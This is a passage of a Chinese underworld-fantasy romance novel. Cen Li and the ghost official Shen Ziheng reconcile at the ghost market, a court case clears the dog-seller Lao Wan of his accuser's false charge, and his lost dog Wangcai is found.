岑黎拎着花灯转身走了,谢必安目送她走远后转身进了房间,躺在床上的沈自珩正睁着眼睛看着天花板,知道谢必安进来了他也没反应。
“什么时候醒的?”谢必安靠在旁边的墙上,“感觉哪儿疼?”
沈自珩没说话,指了指放在旁边的沾满血的衣袍和白玉扇:“扇子。”
谢必安一边数落他一边去拿扇子:“你说你这人,在上面就一根筋,下来还是一根筋,这么多年了也……”
躺在床上的人艰难地撑起身子倚靠在床头,病歪歪地伸手指了指他:“烦。”
谢必安忿忿闭嘴,拿了块干净的布擦了擦白玉扇递了过去,扇子被放到沈自珩手里,下一秒竟突然亮起了符纹。
与此同时,站在奈何桥上发呆的岑黎忽然察觉河水有了些变化。
27. 孟婆汤 一
奈何桥下的这一段奈河水一直都更浑浊些,怨灵也就都聚集在此,虽说它们是隐匿在河中,但不过是借助河水流动使的障眼法,仔细分辨就能看见。
可今天这河水,怎么看怎么不对。
岑黎拍了拍孟婆:“孟婆,你看奈河水是不是有点不对劲?”眼前的河水里分明没有泥沙,但却呈黄绿色,浑浊不堪,连怨灵也看不见了。
孟婆守在这儿已经好些时日,前几天便发现了奈河的异样,渡口的船夫告诉她最近有执念的鬼多,许是被拖下水的时候挣扎,遭怨灵绞碎了留下的残渣。
“再看看,也许这阵过去就好了。”
岑黎随手从旁边拿了一个装孟婆汤的空罐子,走到河边装满了河水。
“把它放在店里观察两天看看。”
孟婆朝她竖起大拇指:“这个办法好,不如把做孟婆汤那段的奈河水也装一罐,一会儿你和我一起去吧,正好我打算试试新的孟婆汤配方。”
两人穿过鬼市沿着奈河往上游走,经过镇妖塔时岑黎突然想看看那片被多福踩过的地长得怎么样了。
“春生给那只小猪起的名字叫多福啊?”孟婆捧腹大笑,“瑞兽叫多福,还是小猪的模样,这名字太妙了。”
岑黎也忍俊不禁:“确实是,但我们总还是习惯叫小猪,春生给它起这名字算是白起了。”
孟婆觑她一眼:“我可听说了,都是你们出的主意要他给小猪起名啊。”
明明是沈自珩提的。
岑黎轻咳两声往荒草谷走去:“走吧,去看看,顺便看看屏障怎么样了。”
“这样便算是做好了。”李恒带着目瞪口呆的岑黎和孟婆沿着荒草谷一片走了一圈,给她们看了新做的木制围栏。
“说是屏障,不如说是尺寸大些的围栏,只是用料上面要讲究些,中间部分是用有韧性的木料做的,这样即便是受到兽类撞击也不易折断,最下面则是用了十分坚实的木料。”
岑黎揉了揉脖子对着李恒抱拳:“大人您太谦虚了,这围栏也太高了,都看不到最上边。”
李恒呵呵笑着:“这样围挡的面积能大些嘛,都是无患无恙他们爬上去做的,围栏上面的缝隙做得十分小,便是体型大些的鸟也钻不进来。”
孟婆笑说:“有了这道围栏,地府内很是安全了。”
“这段又没有怨灵,有也不敢咬我。”岑黎蹲在岸边看着河里的小鱼从她眼皮低下游过,对于孟婆让她离河远点的警告只是左耳进右耳出。她伸手撩了两把水吓跑了小鱼,“才这么大点儿,暂时不吃你了。”
小鱼努力摆动着鱼鳍游远了。
她坐下抱着膝盖,脑海中又不受控制地想起了那天她和沈自珩带着谛听,到河边洗澡的场景,当时她还兴致勃勃地给他解释奈河水有净化的作用。
她想过如果后来不戳破那层窗户纸,是不是现在会更好?
不,不会的。
总有一天他们中的一人会开口,然后在两人毫无准备的情况下做出除了接受就只剩拒绝的选择。
身旁传来轻微的响声,孟婆也学她坐在地上抱着膝盖,轻声地问:“难过吗?”
“有一点。”岑黎把下巴磕在膝盖上,睫毛遮住了她的眼睛,看不清其中的情绪,“就只有一点点。”
孟婆轻叹了口气:“对你来说,有一点便是很多了。”
岑黎歪过头看她:“为什么这么说?”
“我把你带回孟婆庄的时候你没有记忆,不知从何处来,也不知该去何处,知道的只有这里是地府,抓你的鬼差是谢七爷,审你的是阎王,和后来把你带走的是孟婆。”孟婆说着看她,岑黎笑了笑,这是她当时同孟婆说的话。
孟婆叹了口气看向前方,眼里尽是复杂的情绪:“我当时觉得你可怜,不知道该怎么安慰你,但你却问我那一大桶孟婆汤怎么熬。”
“我了解你,你头脑清醒,敢爱敢恨,也很直爽,旁人都觉得你不会让自己吃亏。”孟婆转头看她,眼神里蒙上了薄薄的一层雾,“但我知道你心软,不会让别人为难,所以苦得都是你自己。”
岑黎用手背蹭了蹭眼角,又伸过手去挽住孟婆:“我没事呀,你别难过。”
两人并肩坐着,孟婆发髻上的红发带随风飘动着缠上她的发丝,岑黎袖中的檀木扇随着她的动作往外滑落了几分。
奈河流经整个地府,光是在地府中的这一段河流便有不同的流势,变幻莫测,岑黎在地府这么久也从未好好观察过这条河。她们沿着奈河往上游走,她就一路走一路看,回过神时发现自己已不知身处何处了。
“蒿里山,地府边界。”孟婆指着前面那座绵延的山说道,“这就是。”
面前的山即便是站在它山脚下也不觉得很高,抬头望去山上郁郁葱葱,山势圆且平缓,奈河从旁边潺潺流过。
“这里好安静。”岑黎仰起脸看着蒿里山,山上枝叶茂盛适合小鸟搭窝,但她竟然没听见一声鸟叫。
孟婆解释着:“这里一直如此,只有风声和水声,所以才会显得阴森可怖啊。”
她说完岑黎就凑了上来,好奇地问:“难道是鬼帝们故意的?”
“只是这里的环境不适合鸟兽生存罢了,这里经常起雾,雾气中大概有毒,它们在这儿活不下去。”孟婆走到河边招手,“趁天还亮。”
两人从旁边林子里揪了片大树叶,岑黎将它窝成漏斗在河里舀上来一瓢水,她一手兜着叶子一手在下面托着,好在这树叶足够大还没有虫眼,一滴水都没漏出去。
“你看,这段的水很清,比下面那段清澈多了,连小鱼都没有。”岑黎说着心里松了口气,“看来只有那段有问题。”
“如果将在地府中流过的奈河分为上中下三段,最上面一段是地府边界到有小鱼的那段,中间是有小鱼的、浑浊的那段,下游则是奈何桥这段。”岑黎站在奈何桥上抱着手臂在脑海中划分,“为什么只有中间段浑浊?”
孟婆抱着一包薯片咔哧咔哧地吃着,刚刚走那么远累了,需要补充体力:“我以为你会说为什么只有中间那段有鱼,如果是这个问题我还能回答你一下,因为那段河水里的鱼是春生放进去的。”
岑黎唰地甩头看她:“春生自捡到猪之后还捡到鱼了?”<
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“……不是。是有个人下来的时候揣在口袋里的。”孟婆想起这事儿也觉得有些无语,“他正摘着钩子上的鱼,谢必安就到了。”
“买回来了!”谢必安拎着布兜将大门撞开就咋咋唬唬往里进,“老沈你没趁我不在的时候偷偷下床吧?施胖子说了你还不能下床啊!”
沈自珩坐在床边收回脚,静静等着谢必安将他房门也撞开。
砰的一声,谢必安拎着一大兜子药和蜜饯撞开门:“今天给你换了药,施胖子说这个药比上回那个还难喝。”
“不要叫人家胖子。”沈自珩冷静地看着门撞上了墙又弹了回去,“还有,我这门很贵,撞坏了你赔。”
谢必安一缩脖子。
沈自珩当人的时候从头到脚、从吃喝拉撒到衣食住行就很讲究,例如住客栈屋内要有香炉,要沉香和檀香先熏过一遍;路边小摊上露在外面的水果不吃,一定要还在筐里的用布盖住的;穿的衣服不能有一点线头,外袍袖口处不能有金线绣的图案……
当人的时候他有钱可以嚯嚯,下来当了鬼差,有钱也没处花,于是他讲究得更厉害了,这座大宅子和这门就是证据。
“你这门是那个什么紫檀的?”谢必安胆战心惊地回头看了看那扇雕花木门。
“不是。”沈自珩端起茶杯喝了一口,似笑非笑地看他,“我这里没有紫檀的东西。”
谢必安刚想松口气就听他说:“这是黄花梨的。”
“上等的?”谢必安颤抖着声音问一句,“很贵吗?”
沈自珩端着茶杯正递到嘴边,听见这话,细长的眼睛从茶杯上缘看了过去。
还好心地点了点头。
谢必安犹豫了一会儿要不要将手里的东西都甩在他的脸上。
这个畜生!
“孟婆庄最近怎么样?”沈自珩慢吞吞地把袖子折起来,用手指沾了一点药膏抹在伤口上,这次新配的药涂上有些凉飕飕的,他不怎么喜欢,但偏偏伤了一大片,涂上药以后有一种冷得刺骨的感觉。他放下药膏拎起床上的蚕丝被把自己裹了起来。
“今天我去的时候小黎不在,孟婆也不在。”谢必安从一堆药里挑挑拣拣,把口服的和外敷的分开归纳好放到一边,“又有这么多药,你改名吧,叫沈药罐,药罐沈也可以。”
“门,黄花梨。”沈自珩半靠在床上。
谢必安背对着门撅着屁股收拾药的时候觉得自己不应该这么没骨气,虽然黄花梨贵,但是他好歹也是个鬼差,人称七爷啊!
有钱啊!
“你有个屁。”沈自珩说,“你少买那些东西就有钱了。”
谢必安想了想自己家里各式各样的陶瓷玉器,决定再忍他两天。
沈自珩把嘴捂在被子里咳了两声,哑着嗓子说:“你别和岑黎多嘴说我的事。”
“知道了。”谢必安捧着那些需要煎的药,“就算你和小黎已经形同陌路……”
他知道自己失言,但话说出去了又收不回来,只好飞快说完,“结束了就结束了吧。”
“不会的。”沈自珩闷闷地说,“不会结束的。”
28. 孟婆汤 二
鬼市仍热闹非凡。
到了午夜,在鬼市中央搭建的戏台上还会有些百戏表演——俗称杂技,但表演的把式比人间的更唬人,最受欢迎的形式就是一人在前面绘声绘色地将些恐怖故事,几人在屏风后靠影子配合演出相应的情形。
由于不管是台上的还是台下的都是鬼,大家看见故事里的情节就不自主地往自己身上套,什么因为吃饭掉米粒被老板投诉,最后被丢进地狱啦;走路脚下踩空掉进河里,结果河竟是个大汤锅啦……
吓鬼得很。
孟婆拉着岑黎赶到的时候戏台前的空地上已经站满了人,两人对视一眼都从对方眼中看出了疑惑。
说起来她们就是轮回司的,平时也没觉得下来的人这么多啊,奈何桥上都不排队!
“排队领什么那是?我真是年纪大了眼神也不好使了。”谢必安揪着沈自珩往人堆里挤,沈自珩一边护着自己伤还没好全的胳膊一边被他拽着走。
平日里谢必安和沈自珩碰不上面,他逮不着机会损沈自珩,现在就不一样了。他抓着沈自珩袖子滔滔不绝:“你看看你现在这样快赶上林黛玉了,怎么伤好得这么慢啊,你是不是体质不好啊老沈?”
沈自珩刀了他一眼:“你闭上嘴少说话我就好得快了。”
谢必安一撇嘴:“嘁,又嫌我烦。”
他抬腿跨上三层台阶,站在砌高的看台上转头问,“你说你会不会在这儿见到小黎?”
沈自珩低头捋着被他拽得尽是褶皱的衣服:“应该……不会吧,她一直嫌鬼市离得远,不愿意来。”
“沈自珩。”
沈自珩听见声音抬头,和岑黎的目光撞了个正着。
刚刚开口的孟婆悄悄拍了拍臂弯里岑黎的手,她的胳膊肉快被岑黎掐掉了!
“伤怎么样了?看着比之前好多了,我上次去看你的时候你都还不怎么能走动。”孟婆用臂弯锁着岑黎的手腕拽着她走上前,噼里啪啦地替某人把想知道的全问了,“外伤倒还是其次,你的灵力怎么样了?”
岑黎看着沈自珩胸前,像是恨不得直接看进他五脏六腑好好瞧一瞧伤好了没有。她捂了捂发紧的心口想着,原来担心是这种滋味,当真是不好受。
“好多了,灵力在恢复。”沈自珩回答着便不自觉地将目光转向岑黎,不知是周围花灯的光影照的,还是因为许久未见,他总觉得她瘦了许多,也不像从前那样神采奕奕,“岑黎,你怎……你们怎么来这儿了?”
他脑海中突然想起了他当时站在这儿对她说的那句:等鬼市建好了我陪你去。
岑黎看着他的目光,她不知道他在想什么,但还是把已经到了嘴边的话咽了下去。
“就……随便逛逛。”岑黎抿着唇感觉到手背一痛,孟婆掐了她一把。
她们原先是打算来买小狗的,孟婆出门时还说要不要等沈自珩伤好了再聊聊,被岑黎一口回绝。
台上的故事结束了,正在换布置准备下一场,台下的观众们热火朝天地聊着观后感,随着夜幕降临,鬼市上的花灯一盏一盏地亮起,人群中的孩子们先闹腾起来,拍着手喊好漂亮,大人们跟着一抬头也都不禁感叹着。
在亲眼见到之前,谁也不敢想地府竟是这般模样。
沈自珩其实并不知道自己的眼神一直在岑黎身上,直到谢必安用胳膊肘怼了他一下他才恍如隔世地说了句:“好。”
受伤卧床的时候他经常在谢必安出门拿药前喊住他,让他绕路去一趟奈何桥看看,起初谢必安还会照做,但三五次过后他终于忍不了了,问你到底要看什么,想知道岑黎怎么样不如自己去看。
沈自珩说现在不合适。
“那你还看什么?小黎都看出来你喜欢她了,你既不否认又不承认。”谢必安双手往腰上一岔在屋里转圈圈,“你难受小黎也难受,我们看着也难受。”
“难受吗?”谢必安在旁边问。
沈自珩点点头,谢必安立刻抓住他:“那咱赶紧回去,你的伤还没好彻底呢,确实不该带你出来,施胖子知道了又该数落我……”
“不是。”沈自珩看着街角,岑黎穿的裙子是鬼市开放当天穿的那一条,那上面的花纹他记得,“她难过了。”
谢必安指了指他,想了好半天怎么能委婉一点,最后说了四个字:“渣男行径。”
两人转过街角,孟婆看了看一把拽住往前走的岑黎:“你们现在算怎么回事?”
“什么怎么回事?”岑黎看她,“买狗去啊。”
“那你跟他说随便逛逛?为什么不和他说我们是来买狗的,你还怕伤他心啊?”孟婆翻了个白眼,天底下男人都一个样。
“我……”
“岑黎!”
岑黎闻声转头,下一秒就瞪大了眼睛。
沈自珩居然跟来了!
他不仅跟来了还拉她手了!
还把她拉走了!
等一下!
沈自珩把她拉到巷子口,让她站在光下:“站这里不黑。”
岑黎有些好笑地看他:“你还怕我害怕啊?”
“我有话想跟你说。”沈自珩的手无处安放似的举起又放下,最后背在身后。
他看着岑黎的眼睛:“那日你跟我说的我都听明白了,当时没有回答你是因为……我没想到你会这么快找我,我……”
岑黎打断他,挑出了他磕磕绊绊的话中的重点:“什么叫这么快?你想到了我会找你聊?还是想到了我会找你表白?”
“都有。”他停顿了一会儿犹豫说,“有些话我不能说,我现在还不知道这件事如果发生了会有什么样的后果,我……”
“那就别说。”岑黎冲他一歪头又笑了笑,在灯光下像只眼睛亮晶晶的毛乎乎的小猫,让人不自觉地想伸手揉一揉,“不着急。”
她轻轻地说着,清亮的声音柔软地像绸缎,叫听的人不自觉地陷了进去。沈自珩的目光一寸一寸地在她脸上游移,从额头到微微皱着的眉心,又圆又亮的眼睛,精致的鼻子,她喜欢皱鼻子,做这个表情的时候就更像只小猫了……
她的唇动了动,沈自珩听到她说:“不要难过。”
“我说过我能看出来你喜欢我的。”岑黎抬手轻轻碰了碰他的眉心,“如果是这些话
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不能说,那我来说,我喜欢你。”
沈自珩的眉头随着她的动作舒展开,又在听到她说喜欢的时候再次皱紧。
不是难过。
他背在身后交握着的手又捏紧了,指骨传来的疼痛似乎就这么顺着他的筋脉传到了心尖。
“这算我的第二次认真的表白吧?”岑黎低着头斟酌了一会儿,“我们商量一下,如果我表白了三次你还是不能说出口的话,就算我们有缘无分,好不好?”
“好。”沈自珩看着她,不再皱眉,只剩眼里的笑意,“我们一定有缘分。”
两人站在鸳鸯花灯下,街上来来往往的人都情不自禁地往这儿看,发现不是画之后生怕打扰了他们,便赶紧快步走开。
岑黎提的三次表白也许不是最好的办法,但对于当下的他们来说,尤其是对于沈自珩来说,像是一颗救心丸。
第三次表白一定会是他先提。沈自珩在和她走去摊位的路上这么想着。
“沈自珩,你那个不能说的话,如果说了会受到特别严重的惩罚吗?”岑黎手中拿着檀木扇玩着,这扇子她一直带在身边,总感觉自己身上都有檀木香了。
“我不清楚,但也不敢试。”提到这个沈自珩又皱眉,如果只他一人还好,偏偏还有岑黎。
岑黎从他话中猜到几分:“是因为我吗?”
沈自珩点头。
她又问:“是与我们两人有关?”
他看着她,点头。
“与我们的……关系?”
见沈自珩的表情越来越凝重,岑黎知道自己不该再问下去了,她的心也随着沉下来,有些苦涩地笑说:“看来第三次表白,也许还是我一人说。”
沈自珩忽地拉住她的手,将她的手连同那把扇子一起裹在手心里:“不会,相信我。”
“好。”
若真是有缘无分,那也到那时再说吧。
“那你上次为什么被罚能说吗?”岑黎晃了晃他的袖子。
“能说,但在这儿不行。”沈自珩笑着看她,狐狸眼眯了起来,“去看看小狗吗?”
檀木扇啪的一声被打开:“走!”
两人往摊位走去,虽然话没完全说开,但岑黎明显开心了许多,一路上叽叽喳喳的,裙摆又绽开一朵朵花:“你还需要多开罚单吗?”
沈自珩跟在后面故作严肃:“这是自然,岑黎大人平日还需注意,不可偷懒懈怠,不可恐吓他人,也不可戏弄鬼差。”
岑黎转过身一边倒退着走,一边伸手指了指发髻上的簪子:“这镰刀我可带着呢,沈大人小心点。”
“再添一条,不可恐吓鬼差。”沈自珩看她倒退着走,下意识伸手拉她,“注意安全。”
两人从鬼市那头走到鬼市这头也没找到那个卖狗的老万。
旁边卖碗碟的妇人一听说他们要找老万便走过来,径直跪在他们面前,岑黎刚想扶起她,四周的摊贩竟也跟着跪了下来,求饶声、哭嚎声此起彼伏,细细听左右不过是同一句话。
“老万要魂飞魄散了……大人!救救他吧……救救老万吧……求求你们了……”
29. 孟婆汤 三
“万良才,你可认识旁边的人?”赏善司判官魏征身着绿袍背手站在殿上,看向下面穿着一身粗麻布衣袍的男子,正是老万。
方才老万还在鬼市上出摊,正准备拿狗粮喂嗷嗷待哺的小狗时两名鬼差将他带到了赏善司来。说来也巧,两名鬼差都在他那儿买过小狗,同他关系不错,便在来的路上偷偷告诉他,有个人阳寿快尽了,原本应该乖乖随无常走,但他不肯,说自己有冤情要报。
他一踏进殿便看见了殿中央躬身站着的那老人。
老人佝偻着背,头发花白,淡眉下挂着一双三角眼,眼角的褶皱延伸到太阳穴,仔细看他向下撇着的嘴角边还有一道发白的伤疤,伤疤形状不规整,看着像被撕开了皮。
见了这道疤,老万深压在心底的记忆喷薄而出,他攥紧拳头努力克制着怒火:“认识,大人。”说完他就不再开口。
旁边的老人眯着眼睛凑上前看了看他,突然像被掐住脖子似的尖声叫嚷起来:“就是他!大人!就是他打死了我儿子,他还打了我!我这疤就是被他推了磕在镰刀上划的,要不是我命大怕是半张脸都要豁开了,不让他灰飞烟灭,碎尸万段,我就一直告!告到阎王那儿去,反正我马上要死了,我不怕!”
魏征敛起一贯的和善模样,站在台阶上看向老万:“万良才,我记得你下来时是到我这里来过的,我可有记错?”
“我来过,大人。”
“既然到我这里来过,那便是当时认你为行善之人。”魏征的声音在殿上传开,他翻着老万的生死簿说,“如今有人对你进行控告,你可有什么想解释的?他说的是否属实?”
老万垂着头,一旁的那人自喉咙里发出一阵怪异的笑声,抢了他的话:“万良才,你敢说你没有杀我儿?”
押老万来的鬼差握紧了手中的刀柄。
“杀了。”老万开口道。
“大人,他承认了!他承认了!”那人指着老万得意地笑了起来,三角眼几乎挂在横凸的颧骨上,“快将他投进地狱去!让他魂飞魄散!哎呦!”
听见骨头断裂的一声,老万惊诧地转过头发现那人正捂着小臂痛呼,但也只叫了两声便不敢再开口,旁边的鬼差正将刀重新别回腰间,他刚刚连刀都没抽出来,只用刀鞘对着那人的胳膊上劈了一记。
魏征像是没听见底下的哀嚎似的,问着老万:“万良才,你当时为什么打他儿子?”
“他那小儿顽劣不堪,刚会走路的年纪在村里就四处惹祸,再大一点后更是不得了,对着李婶家门口的酱缸撒尿!李婶孤苦伶仃,平日就靠卖酱过活,他把人家的酱毁了没得卖了,李婶没钱养娃,最后带着娃投河了!”
老万走到那人面前一把掐住他断掉的胳膊,掐得他喘不上气。
红着眼的老万死死盯着他,比恶鬼还恐怖几分:“那天他儿子走到我家院子里,见我的狗正在吃饭,他一脚踹翻了盆,又将我的狗踹飞了出去,我的狗要跑,他就把它拎起来,摔进了旱井。”
“我的狗一直在哀嚎,他听见了吗!”老万每说一句手下力气就重一分,他盯着那人的眼睛,恨不得将他骨头咬碎,“你呢?你听见了吗!”
“你听见了吗!邓明德!”
老万的声音回荡在偌大的殿里,平日摆摊连吆喝都喊不出去的老万声嘶力竭地吼着,这么多年过去了他也没想通,为什么会有人狠毒至此。
“你听不见,因为你在旁边鼓掌。”老万松手的那刻邓明德就因为疼痛跪倒在地上。
老万居高临下地看着他,就像他儿子观察着旱井里的小狗那样,“狗的哀嚎你听不见,你儿子的哀嚎你总能听见,是吧?”
那是只黑色的小狗,下巴和胸前有一圈浅黄色的毛,四只爪子也是浅黄色的,平时很喜欢在院子里追着落叶玩,喜欢趴在离他远一点的地方,然后匍匐到他脚边,最爱吃的食物是烤土豆,最喜欢待的地方是灶边的干草堆,最不喜欢洗澡和擦耳朵……
“它叫旺财。”老万转过身对着魏征跪下,膝盖重重地磕在地上,他浑身颤抖着伏下身子,“大人,对我来说,旺财也是我的家人啊!他儿子混蛋杀了我家人,我要是无动于衷,那我还是人吗!儿子混蛋,难道他当老子的就没错吗!”
“邓明德,你有何想说的?”
邓明德的一条手臂垂在身侧,他怨毒地看了一眼鬼差,又装模作样地低下头去佯装忏悔道:“大人,养不教父之过,这个我认,但如今我已受到惩罚,中年丧子,孤苦无依地过了后半生,临终都没有儿子送行,大人!这还不够吗!我儿也死了,已经付出代价了……”
“邓景堂是死了,但不是被万良才打死的。”岑黎拿着生死簿走进赏善司,身后跟着沈自珩和谢必安。
她将邓明德的生死簿投在虚空镜上放出来给所有人看,“邓明德之子邓景堂,死于哮病,也就是哮喘,你将你儿子抱回家的时候他明明还有气,对吗?”
邓明德跪在地上瞪大了眼睛。
“但很快他就喘不上气了,他大口大口地呼吸,脸憋得通红。当时你在哪儿?”岑黎指着虚空镜,“你在旁边看着。”
“谢必安,当时你可在?”魏征问。
“在。我到的时候邓景堂还未咽气,邓明德就在旁边,只是他看不见我。”谢必安指了指虚空镜,不屑地撇了邓明德一眼,“他儿咽气时他无动于衷。”
“我……我没有!”邓明德的一条手臂在空中胡乱挥舞着,“他从小就有那病,以前不管他自己就能好,我也不知道这次怎么……”
“他从小就有哮病,而你却在他发病时不管不顾,是你害死了邓景堂!”岑黎将一个系着红绳的长命锁放在他面前的地上,那长命锁是金子打的,用红绳仔仔细细绑着,连一点磨损都没有。“邓景堂母亲生前留给他的长命锁,认得吧,被你抵出去的那个!”
“大人,邓明德嗜赌成性,他的发妻生产时他仍在牌桌上!那日他陪邓景堂出门玩耍,原本是想要将他骗到别人家抵债,却不料被万良才打晕,又因吸入狗毛引发哮病,最后被活活憋死。”岑黎站在殿上控诉着,她回想起刚刚看到的记录就想一刀砍了邓明德。
邓明
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德的发妻独自一人忍受着剧痛将孩子生下来,但只来得及看孩子一眼,便永远地闭上了眼睛。
而当时,邓明德正沉溺在赌坊的喧嚣中,全然忘了妻子和腹中的孩子,邻居跑来找他,他还说要玩完这一把再回,等他回去时一切都已经晚了。
魏征抬起手示意她冷静些,又问她:“万良才打的那一棍,打在了什么地方?”
“肩膀。”沈自珩走到岑黎和邓明德中间,挡住了邓明德死死盯着岑黎的目光,“用的也不是厚重的木头,是枯木,烧柴用的。”
邓明德活了这么多年,喝酒和赌这两件事早就将他的家底掏空,他日日晨昏颠倒,不省人事,几乎忘了当时的场景,原本他来闹这一出也只是想敲万良才一笔,能从他那儿拿点钱花,没成想却是将他自己翻了个底朝天。
他五体投地,浑身颤抖着,看着像是害怕了。
岑黎撇了他一眼愤恨地骂道:“真是畜生!怎么会有这种人!”
邓明德似是听见了,身体更剧烈地颤抖着,就在一旁的鬼差想要上前查看时他猛地跳了起来扑向岑黎!
他拖着一只断手,双眼通红,另一只手呈爪状朝她脸上抓去。口中嘶喊着:“你个臭娘们!你凭什么骂我!你去死!去死——”
岑黎看着他扑过来,抬手将镰刀簪从发髻上取下来拿在手里。
地藏送的镰刀好用。
划开他喉咙也就一刀的事。
沈自珩早就提防着他,余光瞥见他扑过来的瞬间便伸手护住岑黎,一抬腿朝邓明德踹去,邓明德被踹得腾空而起,随后重重地摔在了地上。
“你踹得太用力了!那是人诶!”岑黎在沈自珩身后使劲拽他袖子。
要完了,又要被罚了。
“没死。”谢必安上前探他颈侧,感觉到手下仍有微弱的跳动时,有些遗憾地对他俩摇摇头。
魏征看得眼皮一跳,用力地咳嗽了两声。
“行了,谢必安将邓明德带走吧,本就是将死之人,死后带他去阴律司,去什么地狱让崔判官定吧。”
他摆摆手,看向一直跪着的万良才,“万良才,念你有情有义且在地府期间助人为乐,可赏;但你棍打幼童是事实,该罚。”
万良才低下头:“是,我认。”
“认便好,原本你再过一百二十年便可投胎,但你该罚,投胎前便去往拘魂使做鬼差吧。”
魏征一挥衣袖,一张纸自袖中飘到万良才面前,“拿着这个,日后听黑白无常差遣。”
岑黎一直听着,在听到拘魂使还庆幸不是投入地狱,但后面那句……
“大人!”她唰地举起手,“我有疑问。”
“说。”
“万良才需何时去拘魂使?”
魏征踱步到她面前:“三日之内。你有何事?”
岑黎嘿嘿笑着,从袖中变出一袋子他喜欢的绿豆糕递过去:“那个……能不能让老万再摆两天摊?”
“你说大人最后那是什么意思?”岑黎拉着沈自珩的袖子嘀嘀咕咕,“让还是不让啊?”
30. 孟婆汤 四
“现在还没到鬼市开放的时间。”沈自珩看着她皱皱巴巴的表情忍俊不禁,“等到了晚上陪你去看看就知道了。”
岑黎点点头,就听见他问:“你是如何知道魏征大人喜欢绿豆糕的?”
“这也不是什么秘密啊。”她一耸肩,“魏征大人喜欢绿豆糕,薛礼大人喜欢花和膨化食品,厉温大人喜欢茶和玉,尤其是白玉。”
沈自珩晃了晃被她拉着的那只袖子:“知道这么多?那你知道我喜欢什么吗?”
岑黎跨出一大步站到他对面,手上还拉着他的袖子。她踮着脚凑近,温热的呼吸扑在他的下巴。
她用几不可闻的声音问:“不是……不能说吗?”
沈自珩盯着她看了许久,见她眼神开始闪躲,他才缓缓开口:“对,不能说。”
他们对视着,在对方眼里看见了自己的影子。
谢必安带着老万先回拘魂使,好让他提前认识一下诸位同僚。
“咱是拘魂使,由黑白无常和牛头马面及手下的鬼差构成,你在地府这么些年,应该也有所耳闻,咱们是负责钩人的。”
他领着老万在拘魂使里转,“平时上去钩人的工作大多是由有经验的无常们负责,还有一批鬼差则是需要做那些核对生死簿,确保他们钩来的人没错。”
“你就做这些核对工作,还有负责梳理地府各处传到拘魂使的信息。”谢必安带他走到一张桌边,示意他坐下,“拘魂使算是整个地府里最忙的,各处都可能往我们这儿传讯,但讯息太多,你得按事件紧急程度进行细分,然后通知各位同僚,拿不准的可以找我或者老范。”
老万在生前只是个农夫,整日面朝黄土背朝天,连学识字都只是为了能看得懂收条借据,哪里干过这么精细又重要的活,他一下就慌了,像是被椅子扎了一般坐立不安:“我、我哪能做得来……”
说着他就想站起来,却被谢必安一把摁了下去。
手在他肩上拍了拍,谢必安一脸无所谓:“哎呀,我一贯觉得养宠物是最麻烦最需精细的活儿,你都能把那些小狗养得白白胖胖的,干这种活儿更是不在话下了,没事,不怕犯错。”
老万还是满脸忧心:“养狗哪能和这个比……”
“这有什么,你先干着,仔细点就是。”一身黑袍的范无咎从旁边走过来,“这可是魏征大人的命令,你莫不是要违抗?”
“大人们让我后天去,所以今明两天我还能摆摊。”老万拎着一袋狗粮哗啦啦地倒进一排狗盆里,又将平板车上的小狗一只只捧下来放在狗碗前。
小狗们埋头苦吃,有几只一边吃一边拱碗,若不是老万拦着能将碗拱出两米远。
岑黎看着这一排小狗犯难。
“挑不出来了?”沈自珩站在旁边看着她举棋不定,她原本冲着那只黄耳朵伸手,又一拐弯去抱那只白围脖。
“老万,这些狗你若是卖不出去怎么办?”岑黎抱起一只吃完就呼呼大睡的小白狗。
这小白狗吃饭风卷残云似的,旁边的小狗吃着吃着会东张西望,它倒好,埋头苦吃,吃完以后就自己爬上了平板车睡觉。
“我同旁边的摊主讲好了,他们能帮我接着卖,实在卖不完就让他们领回家。”
老万将吃完饭的小狗一只只拎起来擦嘴,他看了一眼岑黎手里抱着的小狗,呵呵笑道,“大人手里抱的这只最安静,小狗崽子醒了会闹,它不会,和我的旺财很像。”
猛地提到旺财,在场的三人都沉默了,岑黎颠了颠怀中的小狗,问:“老万,你……”
她犹豫着:“你要不要喝孟婆汤?”
老万停下了动作看着她。
留在地府的鬼面临两个选择,喝或是不喝孟婆汤,但大多数鬼会选择前者。
倒也不难理解,留下来的鬼多是生前过得并不好的,他们在地府无非就是想过个平平淡淡的日子,喝了孟婆汤忘却不痛快的前世,在地府的日子就会舒坦许多。
但老万没喝,他现在也不想喝。
“前世……我过得也就那样,养了旺财之后才快乐许多,我不愿忘。”老万说着重又陷入了尘封的回忆里,他到了中年便无亲无故,每天的日子过得都大差不差。
直到他捡到了旺财。
他每天带旺财出去散步,看它扑蝴蝶结果掉进水沟里,他就带它去小溪里洗澡……旺财带给他许多快乐和牵挂。
“如果连我也忘了旺财,那再也没人记得它了。”
岑黎怀里的小狗把头塞进她的臂弯里睡着了。
这小家伙睡着时比醒着还活泼些,后腿偶尔会蹬两下,大概是梦到在草地上奔跑了。岑黎看着老万不知该如何安慰,只好生硬地将话题引开。
“老万,这只小狗我养。”她摸着小狗软乎乎的背毛,“你若是想旺财了,可以到孟婆庄来看它。”
老万怔住了,手足无措地连声应着:“诶,好好。”
沈自珩一直在旁边没吭声,岑黎以为他在看着阴律司传讯处理公务,毕竟现在阴律司中崔珏最信任的便是沈自珩,除了一些十分棘手的事需要崔珏亲自处理,其余事务都堆在了沈自珩身上。
想到这儿岑黎看了他一眼,他这么忙怎么还能有时间陪她出来闲逛?
“看我做什么?”沈自珩瞧她一眼。
“你忙的话先回去吧?”
沈自珩走到她旁边抬手蹭了一下她额头:“我不忙,说好陪你来的。”见岑黎点头,他笑了笑,转头看向老万。
“老万,如若旺财还在,你还想养吗?”
一只小黑狗翘着尾巴从远处跑了过来。
“汪!”小黑狗在老万腿边来回蹭着,还时不时咧开嘴吐着舌头。
“旺财?你是旺财吗?”老万蹲下身去,小黑狗一屁股坐在地上又汪了一声。
老万不可置信地看着眼前和旺财长得一模一样的小狗:“你真是旺财?可是旺财怎么会在这儿?”
小黑狗趴下了,像条毛毛虫一样匍匐到他脚边,下一刻就被抱了起来,老万一边用毛巾擦着它肚子上的毛一边数落着:“又这样爬,毛里裹进脏东西都找不到。”
豆大的泪滴落在小黑狗的背上,它趴在老万怀里抬起头闻了闻,又低下头舔了舔老万的手背,安慰似的。
“真是旺财?在哪找到的?”岑黎看向沈自珩,惊喜得在原地蹦了蹦,又赶紧抱住怀里被颠
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醒的小狗。
“本想问妖冥使有没有叫旺财的,还没送去投胎的小狗。”沈自珩说,“我还没问完,老谢就传讯过来说他找到了旺财。”
